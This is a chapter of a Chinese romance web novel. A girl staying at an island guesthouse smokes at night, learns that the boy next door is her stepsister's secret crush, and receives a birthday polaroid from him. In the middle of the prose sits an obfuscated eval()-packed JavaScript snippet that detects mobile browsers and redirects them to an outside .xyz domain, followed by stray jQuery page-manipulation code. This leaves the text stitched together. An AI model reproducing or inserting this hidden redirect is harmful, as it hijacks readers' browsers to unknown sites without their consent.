吴可怡家以前应该开过高级民宿，一整栋租出去一天几千那种，房间配了独立卫生间，装修也是标准的酒店风格。
进门，打开新风和空调，空气的味道也不算陈旧，应该有定期良好维护，吴由畅帮忙把箱子搬到衣柜旁的行李架上，梁絮从挂壁电视和大床间穿过，将包放到书桌上，拉开沙发前的纱帘，推开窗，可以俯瞰一整个小岛夜景，萤火缭绕，朦胧点点，像梦。
“这个房间家里没人住，前几天带着打扫过，你放心住。”吴可怡说。
梁絮挺满意的，微笑点头：“行，谢谢姐。”
吴可怡又去抱了两床家里的棉花被过来，帮她铺床，四件套是奶油黄鲷鱼烧HelloKitty，瞬间冲淡了冰冷的酒店味。
梁絮帮忙牵着被角，凑近鼻子嗅了嗅，还带有清香的洗衣液味道，她不禁展颜：“好可爱啊。”
吴可怡利落抖着被子笑说：“当初买了打算装饰儿童房的，结果康康是个男孩子。”
书桌上散了一堆洗漱用品，也是吴可怡刚刚拿过来的，梁絮拎起两瓶崭新的洗发水沐浴露看。
吴可怡将多余的被子叠进柜子里，说：“上次去日本囤的，你凑合用。”
梁絮笑笑放下，吴可怡实在极尽地主之谊。
眼见安排的差不多了，吴可怡交代几句就要走：“你晚上就锁门睡觉，他们两个男孩子在隔壁，有事可以找吴由畅，再不行打我或者你表哥电话。”
梁絮应下，送吴可怡下楼，吴由畅在客厅找水，也跟着送吴可怡下去。
吴可怡骑上电动车，朝他们挥手。
“行了，回去吧，明天见！”
“明天见！”
吴由畅目送吴可怡消失在路口，转身进门，要锁门，见梁絮还站在外面，问梁絮：“小梁姐姐，你不进来吗？”
梁絮转身，朝他招招手：“你先进去，我在外面待会。”
吴由畅没多问：“行，你等下记得锁门。”
转身上了楼。
楼上。
陆与游站在窗前吹风，长长的车灯在道路蜿蜒至灯火缀缀处湮没不见，声响从楼底下消失，他无意窥见荒野花园里路灯下的孤单身影。
女孩子身长伶仃，骨感至极的模特身材，金长发被夜风吹起，在路灯下如芒如刺。
她站了片刻，等脚步声上到二楼，不急不缓从口袋摸出了一包烟和一把打火机。
很普通的塑料打火机，街边便利店一块钱一把那种，打着，火焰也够烈，如嗜血的舌，要将世间一切吞没进黑暗。
烟盒很薄，在昏黄光线下，映镀上1916字样。
陆与游也识得一些名烟。
不像是女孩子会抽的1916，放到她身上，倒真有了睥睨江山的意味。
更不像是抽烟不久，动作之熟稔，望尘莫及。
看不清她脸上神情，只见烟雾沿着路灯袅袅升起，昏盏等了二十年。
飞蛾不断撞击着那点亮，即便扑火。
身后房门咔哒一声，吴由畅回来了，一屁股坐到一旁沙发上，问他：“打游戏吗？”
他没回，也没回头。
吴由畅当他默认，拿出手机，从列表翻出他，却看到了挂在他主页的匿名提问。
“喜欢什么样的女生？”
吴由畅念出最上面的一个问题，跟着忍不住笑出声，特别大声清了清嗓子，念出陆与游在这条匿名问题下的回答，也是唯一回答。
——“喜欢是一种感觉。”
吴由畅见怪不怪，陆与游这厮从小到大招人喜欢，男女老少通吃，就算有人在这向陆与游提问“喜欢男生吗？”“跟XX同学是真的吗？”“接受三十八离异带娃吗？”吴由畅也不意外。
陆与游这人向来有节目，也向来不惮于成为别人的调侃对象，并且特别会自娱自乐。
搞不好这狗逼打下这行字时，可得意可孤芳自赏了，觉得自己的回答可深情可有逼格了。
陆与游依旧没理他。
吴由畅继续贱兮兮念下一个提问：“那你最讨厌什么样的人？”
楼下。
梁絮靠在路灯下抽着烟，总觉得在人在黑暗中注视着她，下意识回头往上看。
目光将要对上的那一瞬。
陆与游关上窗，即使烟味飘不到二楼，他也下意识抗拒抽烟这个符号，极轻蹙了下眉，转身面无表情说。
“讨厌抽烟的人。”
吴由畅切了声，拉着陆与游开了把游戏。
梁絮只看到窗内一帧淡漠的人影，她指尖夹着烟，徐徐抽了口，眉眼未变，片刻，锁门上楼。
洗漱完，已经快十点，她披着吹至半干的发，窝进被子里拆礼物。
是孙司祎寄给她的生日礼物，上午就收到了，没空拆，直接塞进行李箱带到了岛上。
黑丝绒盒子里，躺着一条黄水晶吊坠，出自孙司祎在澳洲留学认识的朋友，也是本省人，学珠宝设计，在海内外社媒上开了个手工饰品小店，包装上烫着标识Alice Gu.
孙司祎还按头给她科普了一堆水晶知识，说她这几年因为何茗霜何知语母女过的一直不顺，好不容易上大学了，给她转转运。她说家里梁教授应教授一个教数学一个教物理，她会信这些，真要转运，不如送她颗手榴弹实在。
孙司祎当时透过手机镜头幽幽看着她，调侃她，梁小韫韫，你思想很危险啊，她一脸坦然，明着坏，那又怎样，孙司祎不想说这些破坏她心情，又哎哟了声，说，管那么多干嘛，接就完了，她无法，受不了司祎大小姐的唠叨，只能笑着接接接。
梁絮收起水晶吊坠，心情好点了只水晶附赠的香薰蜡烛，准备睡觉。
手机又急促响了两声，她拿起，是孙司祎的消息。
孙司祎给她发了一个人的社交账号主页，紧跟着一条三秒的语音。
她点开，听那激动的语气，差点以为孙司祎发现了第八大洲：“卧槽卧槽！小韫韫！你看我发现了什么！”
梁絮调低手机音量，打开孙司祎发过来的账号。
挺普通一账号，没什么粉丝，有点萌的女生头像，昵称叫不知语。
她顺着往下翻。
@不知语：其实我想回淮城，回到爸爸教书的地方，但更想留在这里，在更靠近你的地方，和你在同一个城市上大学。
图片地点梁絮前几天还路过过，望华大学建筑学院。
……
@不知语：毕业快乐！
镜头里，何知语化了淡妆，穿着精心准备的裙子，微笑站在一附教学楼的阶梯下，应该是拍毕业照那天，边上有很多穿了统一班服的同学。
然而更引人注意的却是阶梯之上，有一个班在等着拍毕业照，人没到齐，少年懒懒散散靠在罗马柱边，拿出手机来看，教导主任模样的人就在边上看着，没放在眼里，回头去看同伴，他当时左耳还没打耳钉。
画面里被偷拍的少年，梁絮今天才认识，半个多小时前才见过。
……
@不知语：拥有了你身上的味道。
那年生日，摆在江景餐厅桌边的英国梨与小苍兰。
……
@不知语：高一15班的，L&Y同学。
是做早操解散，两少年勾肩搭背往教学楼走，身高在人群中醒目，一个是大名鼎鼎的L&Y同学，另一个，梁絮同样觉得眼熟，但没认出。
……
@不知语：第一次拥有这么大的房间，第一次离开故乡，第一次来到六百多公里外的地方。
时间是三年前，何知语在家里的房间，窗外有另一半花园，也是那一年起，她最爱的爸爸开始将独属于她一个人的爱分给另一个女孩子。
翻到这，梁絮没再往下翻，她对何知语的过去没兴趣，脑子里乱七八糟想了很多，手机屏幕还停留在教学楼阶梯上被放大的少年侧影，还是孙司祎的一通视频将她惊醒。
一接通，孙司祎的声音就从地球另一端炸了出来。
“何知语暗恋了三年的男生！”
梁絮心不在焉“嗯”了声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445058|185065||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“我去我去！原来在这！都对上了！怪不得那年生日何知语会买英国梨与小苍兰！”孙司祎八卦之火熊熊燃烧，浇也浇不灭，“你别说，何知语人不怎样，眼光倒不错，这男生蛮帅诶！”
梁絮没应声，眼前好像又飘过了那英国梨与小苍兰。
孙司祎又说：“早知道就让我家老头把我送去一附了，咱俩一起上一附，看着何知语暗恋不得，你再勾勾手，把这男生追到手，气死何知语！”
梁絮下意识一皱眉：“你想什么呢。”
“梁小韫韫，你别太谦虚了，你要想追谁，还不是分分钟的事。”孙司祎已经沉浸在自己的脑补里无法自拔，“你想想啊，你要把这男生搞到手，回头就对何知语说，你暗恋三年的男生，我三天就睡到了，但我现在腻了，不要了。”演到深处，还忍不住给自己的天才脑洞拍手，“哇！我跟你讲！绝了！这都不是报复的事了！是爽文！爽文懂不懂！”
“……”梁絮这下真不知语了。
“孙司祎。”她叫她。
“嗯？”孙司祎应声，兴奋等着梁絮发表意见。
“下次少看点小说。”梁絮关灯，将被子拉过头顶，挂断，“睡了。”
孙司祎：“……”
可当黑暗真的湮没所有感官，心脏又止不住狂跳。
梁絮从被子里露出脑袋，睁了一会儿眼，又翻了个身，起来将香薰蜡烛盖灭。
累了一天，困倦来袭，昏昏沉沉睡着，没多久，又从噩梦中惊醒。
她猛地从床上坐起来，背后渗了密密麻麻的冷汗，摸过手机看了眼，周围一片漆黑。
环顾了一圈房间，梁絮还是掀过被子起身。
当时是夜晚十一点多。
陆与游在客厅找水喝，没开灯，刚拉开冰箱门，一束手电光从客厅那头刺了过来。
他眯起眼，见到梁絮，穿着吊带睡裙，比白天多了几分柔和，也多了几分瘦弱，手上却是捏着打火机和烟。
“出来抽烟？”他问。
梁絮见他从冰箱拿出一瓶矿泉水，半递给她，她没接，“嗯”了声，往阳台去。
随后另一道身影也站到了阳台边，不远不近的距离。
梁絮指尖夹着烟，猩红慢燃，她看向他。
陆与游不紧不慢喝着水，喉结清薄滚动，楼下花园的路灯映着他神色难辨的脸，未看她一眼。
如果一个人厌恶抽烟，不会主动凑过来，就算想要礼貌体面，也会无声往边上挪，那边还有很长一片阳台，然而陆与游就站在那，梁絮当做陆与游对抽烟没意见。
梁絮自然而然抽烟，陆与游喝水，界线不算泾渭分明，谁都没说话。
梁絮看着小岛的夜景，这个时候基本没什么光亮了，大抵是远处冥冥的灯塔，难以忽视，身边有一个在她这信息完全透明了的人，她脑子里响起了孙司祎说的话：“何知语暗恋了三年的男生。”
陆与游呼吸着带有二手烟的空气，心底止不住漫出负面情绪，目光微微偏转，无声滑过女孩子裸露在外的纤细四肢，夜里凉，他想起了路灯下的伶仃背影，又不想离开，心脏像被燎了一角。
片刻，梁絮抽完一支烟，阳台上的另一个人不知什么时候已经走了。
她转身要回去，对上了陆与游从客厅走出来的身影。
陆与游回到阳台，靠到玻璃护栏上，目光划过她的指尖，没有烟，信手将一张卡片递给她。
她接过，是一张拍立得。
当时在船上，她倚在护栏边，金发被吹起，指尖夹着烟，天边日落如火，她正好回过头，望向镜头。
她指尖夹着这一帧影像，撩起被夜风吹乱的发，抬眼看向他。
少年眼尾嘴角微翘，懒淡又生动，像沁入夏夜冰水的梨子。
声线缓缓流淌，他对她说。
“生日快乐。”
她扬了下那方相片，抬步走进客厅，又回头，无声冲他一笑。
谢谢。
今天最后一个祝她生日快乐的人。
梁絮没有说这句话。